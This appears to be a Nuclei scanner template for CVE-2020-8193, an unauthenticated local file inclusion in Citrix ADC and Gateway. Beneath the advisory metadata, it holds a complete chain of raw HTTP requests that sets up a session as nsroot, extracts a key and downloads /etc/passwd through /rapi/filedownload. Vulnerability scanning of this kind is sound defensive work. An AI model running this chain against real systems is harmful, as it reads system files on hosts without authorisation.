id: CVE-2020-8193 info: name: Citrix unauthenticated LFI author: pdteam severity: medium description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints. reference: - https://github.com/jas502n/CVE-2020-8193 - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html - https://support.citrix.com/article/CTX276688 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2020-8193 cwe-id: CWE-862 tags: cve,cve2020,citrix,lfi,kev requests: - raw: - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml X-NITRO-USER: xpyZxwy6 X-NITRO-PASS: xWXHUJ56 - | GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 Host: {{Hostname}} - | GET /menu/neo HTTP/1.1 Host: {{Hostname}} - | GET /menu/stc HTTP/1.1 Host: {{Hostname}} - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: {{randkey}} - | POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: {{randkey}} cookie-reuse: true extractors: - type: regex name: randkey # dynamic variable part: body internal: true regex: - "(?m)[0-9]{3,10}\\.[0-9]+" matchers: - type: regex regex: - "root:.*:0:0:" part: body